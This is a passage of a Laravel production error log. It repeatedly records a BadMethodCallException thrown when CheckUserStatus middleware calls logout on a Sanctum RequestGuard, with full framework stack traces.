#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:14:11] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:14:24] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:14:24] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
